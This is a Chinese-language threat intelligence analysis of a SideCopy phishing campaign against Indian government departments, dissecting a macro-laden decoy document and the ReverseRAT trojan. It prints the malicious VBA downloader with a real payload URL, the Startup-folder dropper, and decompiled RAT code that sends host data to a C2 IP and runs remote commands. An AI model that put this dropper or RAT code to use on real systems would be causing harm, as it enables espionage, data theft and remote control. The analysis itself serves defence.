2023年2月:SideCopy组织针对印度政府部门的攻击

概述

  瑞星威胁情报平台于2023年2月捕获到一起疑似针对印度政府部门的攻击事件。攻击者将诱饵文档伪装成安全机构提供给印度政府部门的安全研究报告,其报告主题为Android系统的威胁和预防措施,然后通过钓鱼邮件等社工方式进行分发。当受害者启动文档内嵌的宏代码后,将获取存储于远程服务器上的远控木马,释放于本地并执行,最终实现信息窃取和远程控制等功能。其使用的远控木马名为ReverseRAT,据相关研究报告披露,该木马疑似是由来自于巴基斯坦的攻击者所开发使用,且与SideCopy组织具有非常密切的关系。另外,通过将本次攻击行动感染链与SideCopy组织过往感染链的对比分析,将本次捕获到的攻击行动归属于SideCopy组织具有高可信度。

  SideCopy组织疑似来自于巴基斯坦,至少从2019年就开始展开网络攻击活动,主要针对南亚国家,特别是印度和阿富汗的政府部门。由于该组织的攻击方式试图模仿SideWinder(疑似来自印度的攻击组织,中文名响尾蛇)组织,故得名SideCopy。另外,据相关研究披露该组织疑似与Transparent Tribe(中文名透明部落)有相似之处,可能是该组织的一个分支。

ATT&CK 矩阵

战术 技术 具体行为
TA0002-执行 T1204-用户执行 攻击者将初始文档伪装成安全报告,以此诱骗用户执行
TA0003-持久化 T1547-启动或登录自动执行 将恶意程序释放于系统自启动目录内以实现持久化
TA0005-防御规避 T1027-混淆过的文件或信息 传送信息均通过RC4加密及GZIP压缩处理,以规避流量监控
TA0007-环境发现 T1083-枚举文件和目录 获取指定路径下目录和文件信息
TA0007-环境发现 T1057-收集进程信息 收集被入侵主机的所有进程列表
TA0007-环境发现 T1012-收集注册表信息 收集被入侵主机的注册表信息
TA0007-环境发现 T1518-收集软件信息 收集被入侵主机安装的软件信息
TA0007-环境发现 T1082-收集系统信息 收集被入侵主机的操作系统和硬件信息
TA0007-环境发现 T1016-收集系统网络配置 收集被入侵主机的MAC地址和IP地址
TA0007-环境发现 T1033-探测系统所有者/用户 收集被入侵主机的用户名
TA0009-收集信息 T1115-剪切版数据 设置或获取剪切板数据
TA0009-收集信息 T1113-屏幕截图 获取屏幕截图
TA0011-指挥与控制 T1071-应用层协议 用HTTP/HTTPS进行通信
TA0011-指挥与控制 T1001-数据混淆 对C2流量进行混淆处理
TA0011-指挥与控制 T1573-加密通道 使用SSL/TLS加密通道传输信息
TA0010-外传信息 T1020-自动外传 自动发送收集到的受害者机器信息
TA0010-外传信息 T1041-通过C2通道外传 C2通道同时可以接收木马回传的受害者机器信息

攻击事件详情

  此次攻击事件的初始样本是名为Cyber Advisory 2023.docm的文档,其内容如下图所示,该文档被伪装成安全机构提供给印度政府部门的安全研究报告,以Android系统的威胁和预防措施为主题,诱骗用户主动打开文档并启动宏代码,之后将存放于远程服务器上的ReverseRAT木马释放于本地自启动目录内,以此实现木马程序的自启动。该攻击流程利用人性弱点,极具诱惑性和隐蔽性,使普通用户难以防范。下图为诱饵文档内容:

诱饵文档内容

攻击流程

  攻击者在此次行动中将恶意载荷的硬编码数据存放于远程服务器,并进行了混淆处理。成功入侵受害者主机后,初始文档的宏代码将动态的从远程服务器获取混淆的硬编码数据,经过本地处理后执行该恶意载荷,从而启动攻击行动。攻击流程如下图所示:

攻击流程图

样本分析

  瑞星威胁情报平台在此次攻击行动中捕获到的初始样本为Office文档,以最新的安全研究报告为诱饵,主要针对目标为印度政府人员。其使用的恶意工具是名为ReverseRAT的远控木马,可实现本地信息窃取和远程控制等功能,同时为了规避网络流量监控,该工具与C2服务器通信时的数据均经过Gzip压缩和RC4加密处理,具有隐蔽性高、危害性强等特点,难以被传统的安全检测机制发现。

1. 初始文档分析:Cyber Advisory 2023.docm

字段 内容
原始文件名 Cyber Advisory 2023.docm
文件大小 89.16 KB (91296 bytes)
文件MD5 ffa2e6f6a7a8001f56c352df43af3fe5
文件类型 DOCM文档
病毒名 Downloader.[SideCopy]Agent/VBA!1.E275
文档最后修改日期 2023-01-27T10:03:00
备注 本次攻击行动初始文档,启动内嵌的宏代码后释放并执行恶意程序

  初始文档原名为Cyber Advisory 2023.docm,根据其文件名和内容可知,攻击者以Android系统在2023年最新的安全研究报告为诱饵,欺骗目标用户主动打开文档。该文档作为初始攻击武器,代码简单,功能单一,仅负责通过下载的方式动态获取真正的恶意载荷。如此轻量化的处理,用以规避主动防御系统的检测,可极大的提高攻击行动的成功率。

  根据关联分析,发现了另外一个名为list.xlam的文档,文档创建时间相近,不过其内容为空。但是内嵌的宏代码功能相同,不过其远程下载地址为hxxp://t1.somee.com/vlan.html。猜测该组织为本次行动准备了多个攻击武器及基础服务设施,而这次的发现仅为其中一部分,所以后续将持续追踪,披露更多的攻击武器。

1.1 下载恶意载荷编码

  下载存放在远程服务器上的字符串数据,其内容为ReverseRAT木马的十六进制编码,同时为了规避网络监控,攻击者在每个字节之间插入|符号,实现了简单的混淆处理。

Function get_text_from_web()
    Dim html As Object
    Dim website As String
    Dim dt As String
    website = "http://luckyoilpk.com/vlan.html" '远程下载地址,存放恶意载荷硬编码
    Set html = CreateObject("htmlFile")
    With CreateObject("MSXML2.ServerXMLHTTP.6.0")
        .Open "GET", website, False
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0"
        .Send
        html.body.innerHTML = .responseText
        HexStringToBinaryFile html.body.innerHTML
    End With
End Function
1.2 释放恶意载荷

  下述代码负责处理下载的编码数据,首先进行简单的去混淆处理,然后以写入文件的方式释放于本地,其释放路径为本地自启动目录,由此释放的恶意载荷将在下次开机后自行启动。

Sub HexStringToBinaryFile(st As String)
    Dim u As String
    Dim full As String
    Dim hex_val As String
    Dim output() As String
    Dim handle As Long
    Dim i As Long

    u = Application.UserName
    full = "C:\Users\" + u + "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vlan.exe"      `恶意载荷释放目录及文件名
    hex_val = st
    output = Split(hex_val, "|")         `对下载的编码字符串简单去混淆
    handle = FreeFile
    Open full For Binary As #handle
        For i = LBound(output) To UBound(output)
            Put #handle, , CByte("&H" & output(i))
        Next i
    Close #handle
End Sub

2. ReverseRAT木马分析:vlan.exe

字段 内容
原始文件名 vlan.exe
文件大小 47.00 KB (48128 bytes)
文件MD5 0baa1d0cc20d80fa47eeb764292b9e98
文件类型 EXE
病毒名 Backdoor.ReverseRAT!1.E276
主要功能 远控类木马,具有窃密和远程控制等功能

  释放的恶意载荷是名为ReverseRAT的远控类木马,为.NET程序,负责窃取本地信息并接收C2服务器指令。为了提高免杀和反调试能力,攻击者对该程序的代码进行了混淆处理,并添加了大量的垃圾代码。比如字符串mode被处理变成了sdfslkjfdslfd-mode-sdfhsakjhweru".Split(new char[]{'-'})[1].ToString(),这种处理方式遍及整个程序代码中,可以用来规避传统的特征码检测。

2.1 主函数代码

  主函数结构简单,先是获取本地信息,接着启动与C2服务器的通信。

private static void Main()
{
    Thread.Sleep(20000);
    Thread.Sleep(20000);
    Thread.Sleep(20000);
    Thread.Sleep(20000);
    // 获取本地信息
    sdfsdkfjweioi238nmxcv sdfsdkfjweioi238nmxcv = new sdfsdkfjweioi238nmxcv("sdfjslkjfslkjfdsfjalksjdfls324234-http://185.174.102.54:443/-dsfjslkdjfweoirwsdfkjweirw".Split(new char[]
    {
        '-'
    })[1].ToString(), "sdfkjsldjfslkdf-12121-dsjfslkdjfwioer2349".Split(new char[]
    {
        '-'
    })[1].ToString());
    Thread.Sleep(20000);
    Thread.Sleep(20000);
    // 启动与C2服务器通信
    sdfsdkfjweioi238nmxcv.startetrwyeersfjgsjfsdfwerw("fsdkjfhwsdfslkjweriweor234023420390dfsdfer", false);
    Thread.Sleep(20000);
}
2.2 获取本地信息

  通过调用系统API函数获取相关信息,包括MAC地址、主机名、系统版本、磁盘信息、处理器信息、网络摄像头信息等,同时还包括C2服务器地址以及被攻陷主机的标志12121。后续这些数据需要先经过自定义的格式化处理,之后还需要经过Gzip压缩以及RC4加密,最终才会上传给C2服务器。

this.sdfuwelrweriosdfs3289749234 = sdfuwelrweriosdfs3289749234;     // C2服务器地址
this.kyefhskdhfiwewie1231 = kyefhskdhfiwewie1231;                   // 标志字符串"12121"
this.iddddddddddddddddddd = this.SDFSDFWHEIHare23429323idddd(true, "fsdksdfhwheiruwjfhwer", false);     // 获取MAC地址
this.comwekjqwejsadanamwe21331 = Dns.GetHostName();     // 获取主机名
this.osdfjkherhwuriqwerh123984912348 = Environment.OSVersion.ToString();        // 获取系统版本
this.memoreerifsdhfusfh2312 = this.getmmmmooryyajakdhiqweq9123123       ("fsdksdfweroiwoersdfsjfhwejfhwer", false);     // 获取处理器信息
this.sdfhsdfhskjdfhwerweiurprocecssdsd23123 = this.getprsdfwswerwrerroooooccssser234234("fsdksdfsdfwerwoerisdfsdjfhjfhwer", false);     // 获取进程列表
this.webcamasdedjljweroiqwe234234sdf = this.ceksdfscare24293847sdfhk4234("fssdfjwerwoierfsdjfiuwerwehr323o4u2423409sdfiudkjfhwer", false).ToString();       // 获取网络摄像头信息
2.3 本地信息处理

  程序将上述获取到的各种信息进行自定义的格式化处理,字段mode表示信息的名称,字段info表示具体内容。格式化后的数据再经过编码、压缩及加密处理,最终通过UploadData方法发送给C2服务器。

NameValueCollection pramadfsrwut2838sdfsjdfgsfwerw = new NameValueCollection
{
    {   // 格式化信息
        "sdkfjslfjwejwejf-mode-sdjfskjfhw9348sdfh".Split(new char[]
        {
            '-'
        })[1].ToString(),
        "sdfslfweijorwjr-info-sdfjwkejhrwerh".Split(new char[]
        {
            '-'
        })[1].ToString()
    },
    {
        "sdfs;fkweorpwero-id-dsfjhwejhweuihsdfhuwe".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.iddddddddddddddddddd
    },
    {
        "dfsaldkfjlkjf3ir-compname-sdfsjwejwiejdfk".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.comwekjqwejsadanamwe21331
    },
    {
        "sdfkjslkfjwioejrwedsf-os-sdfjwelkjrwlkejdf".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.osdfjkherhwuriqwerh123984912348
    },
    {
        "sdfsdlkfjwejr-ip-sdfhwerwehrwfsdjf".Split(new char[]
        {
            '-'
        })[1].ToString(),
        util123h1afdayd349234afhkjhfsdf.sdjkfhskjdfwegetipsdfsdf("sdfhskjhfweurw", false)
    },
    {
        "sdfkjslkjfweoirjwoeir-memory-sdjfhwkehrwkehrkfjhsdf".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.memoreerifsdhfusfh2312
    },
    {
        "sdfslkdfjwkejrw-processor-sdfjsjkfhweurjdsf".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.sdfhsdfhskjdfhwerweiurprocecssdsd23123
    },
    {
        "sdkfslkdfjwerj-webcam-sdfjkwehrwehdsfh".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.webcamasdedjljweroiqwe234234sdf
    },
    {
        "sdfkjsalkfjweiorweklj-interval-sdfskjdfhwjker".Split(new char[]
        {
            '-'
        })[1].ToString(),
        this.sdfhwerieury23uidfdsf.ToString()
    }
};
// 上传处理后的数据
byte[] array = webClient.UploadData(
    this.sdfuwelrweriosdfs3289749234,       // 参数1:上传地址
    "sdjfhskjfhwiuerhwiuersdfas-POST-sdfhjhegrwjehgrfbvsadf".Split(new char[]{'-'})[1].ToString(),      // 参数2:post字段
    this.sdfhskjfhweuwubzmnsfshf2323sdf12(pramadfsrwut2838sdfsjdfgsfwerw, "fsdsdfhhweiurhwkjfhwer", false)  // 参数3:上传的数据
 );

//上传的数据需要经过GZIP压缩和RC4加密处理
private byte[] sdfhskjfhweuwubzmnsfshf2323sdf12(NameValueCollection pramadfsrwut2838sdfsjdfgsfwerw, string st = "fsdsdfhhweiurhwkjfhwer", bool i = false)
{
    Thread.Sleep(2000);
    string s = this.Conqrystasjdajdgqwye8721381(pramadfsrwut2838sdfsjdfgsfwerw, "fsdkjfhwer", false);       // 先将字符串进行Url编码
    return rc4sdfgshgweyrweyf.sdfhskjfhweuwubzmnsfshf2323sdf12(Encoding.ASCII.GetBytes(this.kyefhskdhfiwewie1231), gpzssdfwerwe.comasdkjqwepressss23232(Encoding.ASCII.GetBytes(s)));   // GZIP压缩和RC4加密
}

  RC4加密函数部分代码

private static IEnumerable<byte> enyrppooriidfsdsjfsjdkfwueir234234outttt(byte[] kyefhskdhfiwewie1231, IEnumerable<byte> dtatastatatsdtatdtat27323)
{
    byte[] s = rc4sdfgshgweyrweyf.fsdhfkjewiury239hzczncbfwr82934(kyefhskdhfiwewie1231);
    int i = 0;
    int j = 0;
    return dtatastatatsdtatdtat27323.Select(delegate(byte b)
    {
        i = (i + 1 & 255);
        j = (j + (int)s[i] & 255);
        rc4sdfgshgweyrweyf.sqwwwpsadjkaldsoiewqwe1231(s, i, j);
        return b ^ s[(int)(s[i] + s[j] & byte.MaxValue)];
    });
}
2.4 处理接收的服务器数据

  成功上传信息后将返回C2服务器发送的数据,该数据在经过本地的解压缩和解密处理后,发现由多个字段组成,每个字段之间以字符|进行分割,之后存放于字符串数组array2中。根据后续代码可知,第一个字段也就是array2[0]表示具体指令,而后面的字段则根据指令的不同而代表不同的意义。

byte[] array = webClient.UploadData(
    this.sdfuwelrweriosdfs3289749234,
    "sdjfhskjfhwiuerhwiuersdfas-POST-sdfhjhegrwjehgrfbvsadf".Split(new char[]{'-'})[1].ToString(), 
    this.sdfhskjfhweuwubzmnsfshf2323sdf12(pramadfsrwut2838sdfsjdfgsfwerw, "fsdsdfhhweiurhwkjfhwer", false));
bool flag = array.Length == 0;      // 判断接收的C2服务器回馈信息是否为空
if (flag)                           // 如果为空,则不执行具体操作
{
    num++;
    bool flag2 = num >= 36;
    if (flag2)
    {
        this.sdfhwerieury23uidfdsf = 180000;
    }
    bool flag3 = num >= 12;
    if (flag3)
    {
        this.sdfhwerieury23uidfdsf = 60000;
    }
    bool flag4 = num >= 6;
    if (flag4)
    {
        this.sdfhwerieury23uidfdsf = 30000;
    }
}
else
{
    num = 0;
    this.sdfhwerieury23uidfdsf = 5000;
    // 对接收的信息进行解密、解压缩处理
    string @string = Encoding.ASCII.GetString(gpzssdfwerwe.dsfsdfgshdgfewyrw2347234sdf(rc4sdfgshgweyrweyf.asdajkdsjqoiweuqwie12387192387czxczxcasd(Encoding.ASCII.GetBytes(this.kyefhskdhfiwewie1231), array)));
    // 以字符串"|"分割获取的信息,存入字符串数组array2中,其中首个字段为指令字符串,后续字段根据指令不同而表示不用意义
    string[] array2 = @string.Split(new char[]{'|'});
    // text字段存放指令在本地执行后的结果,后续将再次回传给C2服务器
    string text = "sdfslfdjlkfweoirjwjfsdf-RS-sdfasfhwerwidfxcvbdf".Split(new char[]{'-'})[1].ToString() + array2[0];
    string text2 = array2[0];
    string text3 = text2;
2.5 执行服务器指令

  根据接收到的远控指令,木马程序将执行不同的操作。本次披露的木马共有19条指令,包括注册表操作、目录和文件操作、程序及命令执行等众多功能,此处仅摘取部分重要指令。此处字符串text存储指令执行的结果,后续需要回传给C2服务器。

  指令list负责获取由服务器指定路径下的目录和文件列表,这里array2[1]字段就是服务器指定的路径。获取到的信息后续将传送给服务器。

if (text3 == "list")
{
    text = "skdfslkdfjwierwoierjsdkfawie4#LSlist{-f}#sdfjslkdfjwoierwosdfju2398sdfh".Split(new char[]
    {
        '#'
    })[1].ToString();
    try
    {
        string[] directories = Directory.GetDirectories(array2[1]);     // 该字段为接收服务信息经过分割后的第二个字段,此处表示需要获取目录、文件信息的路径
        string[] files = Directory.GetFiles(array2[1]);
        for (int j = 0; j < directories.Length; j++)
        {
            text = text + directories[j].Substring(directories[j].LastIndexOf("/") + 1) + "{-f}";
        }
        text += "sdjfskjdfhskjdfhwieuh%{-fbr}%sdkjfhskjfhwiuesdfhks".Split(new char[]
        {
            '%'
        })[1].ToString();
        for (int k = 0; k < files.Length; k++)
        {
            FileInfo fileInfo = new FileInfo(files[k]);
            text = string.Concat(new object[]
            {
                text,
                files[k].Substring(files[k].LastIndexOf("/") + 1),
                "{-fi}",
                fileInfo.Length.ToString(),
                "{-fi}",
                fileInfo.LastWriteTimeUtc,
                "{-f}"
            });
        }
    }

  指令downloadexe负责从指定地址下载EXE可执行程序并启动,这里的array2[1]字段是下载地址,字段text则表示该指令执行失败。

else if (text3 == "downloadexe")
{
    try
    {
        string text4 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + array2[1].Substring(array2[1].LastIndexOf("/") + 1);
        File.Delete(text4);
        webClient.DownloadFile(array2[1], text4);
        Process.Start(text4);
    }
    catch
    {
        text = "sdfsaldjfwoierjwfds-RF-sdjfhwerhwiejdfh".Split(new char[]
        {
            '-'
        })[1].ToString() + array2[0];
    }
}

  指令run的功能为执行服务器发送的命令,此处应该是批处理命令或其他脚本命令,array2[1]字段提供了该命令。

if (text3 == "run")
{
    try
    {
        Process.Start(array2[1]);
    }
    catch
    {
        text = "sdjfsjfhwerhwrh23-RF-sdfasjfwehgrwedfbn12".Split(new char[]
        {
            '-'
        })[1].ToString() + array2[0];
    }
}

  指令uploaddownload主要针对文件操作,读取服务器指定文件的内容并上传,或者是将服务器传输的数据写入本地文件中,此处array2[1]字段存放文件路径,第三个字段array2[2]存放需要写入文件的数据。

if (text3 == "upload")
{
    text = "sdfjslkdfjlkf-LS-sdfhkskajfwe".Split(new char[]
    {
        '-'
    })[1].ToString() + array2[0] + "{-}";
    try
    {
        text += util123h1afdayd349234afhkjhfsdf.getsdjfsdfgweygwuegyfgfgawyegrwer(gpzssdfwerwe.comasdkjqwepressss23232(File.ReadAllBytes(array2[1])), true);
    }
    catch
    {
        text = "sdjfhsakjfwuiehw-RF-sdfjhwehriuwrhw234".Split(new char[]
        {
            '-'
        })[1].ToString() + array2[0];
    }
}
else if (text3 == "download")
{
    try
    {
        File.WriteAllBytes(array2[1], gpzssdfwerwe.dsfsdfgshdgfewyrw2347234sdf(util123h1afdayd349234afhkjhfsdf.getbytessweqweqwe(array2[2], "sdhfskjfhskf", 'A')));
    }
    catch
    {
        text = "sdfaslkfjwerw-RF-sdfjhwehrhehdfh".Split(new char[]
        {
            '-'
        })[1].ToString() + array2[0];
    }
}

  注册表操作指令共有三个:reddelkeyreglistregnewkey,分别为删除注册表、获取注册表列表和创建注册表项。

if (text3 == "regdelkey")
{
    try
    {
        bool flag5 = array2[1].Contains("//");
        if (flag5)
        {
            array2[1] = array2[1].Replace("//", "\\");
        }
        RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(array2[1]);
        bool flag6 = array2[3] != "{-fol}";
        if (flag6)
        {
            registryKey.DeleteSubKey(array2[2]);
        }
        else
        {
            registryKey.DeleteValue(array2[2]);
        }
        registryKey.Close();
    }
    catch
    {
        text = "sdkjfhskfjhwieurhwhr2h3rhsdfsdfnwejhrwkejhrdfdsbfasbfwer-RF".Split(new char[]
        {
            '-'
        })[1].ToString() + array2[0];
    }
}

  指令screen负责获取屏幕截图。

else if (text3 == "screen")
{
    text = "sdfjsjdfhweurwierhfsdfhashfwuerweurhhfdsjhfiwuerwer-LS".Split(new char[]
    {
        '-'
    })[1].ToString() + array2[0] + "{-}";
    try
    {
        Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
        Graphics graphics = Graphics.FromImage(bitmap);
        graphics.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
        using (MemoryStream memoryStream = new MemoryStream())
        {
            bitmap.Save(memoryStream, ImageFormat.Png);
            text += util123h1afdayd349234afhkjhfsdf.getsdjfsdfgweygwuegyfgfgawyegrwer(gpzssdfwerwe.comasdkjqwepressss23232(memoryStream.ToArray()), true);
        }
    }

  剪切板操作指令有两个:clipboardsetclipboard,分别为设置剪切板内容、获取剪切板内容。此处array2[1]为设置的剪切板内容。

else if (text3 == "clipboardset")
{
    Clipboard.SetText(array2[1]); 
}
else if (text3 == "clipboard")
{
    text = "sdfjskdjfweroiwerowersdhfskjdfhksjfhwiuerhwieursdkjfhskdfjweur-LS".Split(new char[]
    {
        '-'
    })[1].ToString() + array2[0] + "{-c}";
    text += Clipboard.GetText();
}
2.6 上传指令执行结果

  本地指令执行后的结果存放于字段text中,此数据将回传给C2服务器,传送之前同样需要经过本地格式化、GZIP压缩和RC4加密。其中字段mode表示具体指令,result表示指令执行结果。

this.loafdgasdhgajdapasdahuiqwegegesa32423(webClient, text, "fsdkjfsldkfweirowejhwer", false);      // text字符串存放指令执行后的结果
public void loafdgasdhgajdapasdahuiqwegegesa32423(WebClient qurysafjsdgfweyruwtr8273482efdf, string tosheriuwoeruwshdfsjssssttst23423, string st = "fsdkjfsldkfweirowejhwer", bool i = false)
{
    Thread.Sleep(2000);
    try
    {
        NameValueCollection pramadfsrwut2838sdfsjdfgsfwerw = new NameValueCollection
        {
            {
                "sdfslkjfdslfd-mode-sdfhsakjhweru".Split(new char[]
                {
                    '-'
                })[1].ToString(),
                "sdfjslkjfsldf-result-sdjfhwerwur".Split(new char[]
                {
                    '-'
                })[1].ToString()
            },
            {
                "sdfjlsfjslkdjf-id-sdjfwkerw".Split(new char[]
                {
                    '-'
                })[1].ToString(),
                this.iddddddddddddddddddd
            },
            {
                "sdfjslkfjslkdf-result-sdfjkjfhweiru".Split(new char[]
                {
                    '-'
                })[1].ToString(),
                tosheriuwoeruwshdfsjssssttst23423
            }
        };
        qurysafjsdgfweyruwtr8273482efdf.UploadData(this.sdfuwelrweriosdfs3289749234, "sdfjsldkfjweirwoe-POST-sdklfjslkfjweio".Split(new char[]      // post字段
        {
            '-'
        })[1].ToString(), this.sdfhskjfhweuwubzmnsfshf2323sdf12(pramadfsrwut2838sdfsjdfgsfwerw, "fsdsdfhhweiurhwkjfhwer", false));
    }
    catch (Exception)
    {
    }
}

  指令功能列表如下:

指令 功能
list 获取指定路径下的目录和文件列表
downloadexe 下载EXE程序并执行
run 运行接收的代码
close 退出程序
upload 上传指定文件的信息
download 将接收的数据写入本地文件
regdelkey 删除指定注册表项
delete 删除目录或文件
screen 截屏
reglist 获取注册表信息
clipboardset 设置剪切板内容
process 获取进程列表
programs 获取安装程序信息
rename 修改目录名或文件名
pkill 结束指定进程
clipboard 获取当前剪切板数据
shellexec 执行cmd命令
creatdir 创建目录
regnewkey 创建注册表项

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

瑞星ESM扫描截图

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    FFA2E6F6A7A8001F56C352DF43AF3FE5
    C9E15CC1A8658B9EF6A9F550D24E452E
    0BAA1D0CC20D80FA47EEB764292B9E98
    AB3FF66B4C7B83014D39B04BD8360D69
  • URL

    hxxp://luckyoilpk.com/vlan.html
    hxxp://t1.somee.com/vlan.html
  • IPV4

    185.174.102.54

参考链接

Author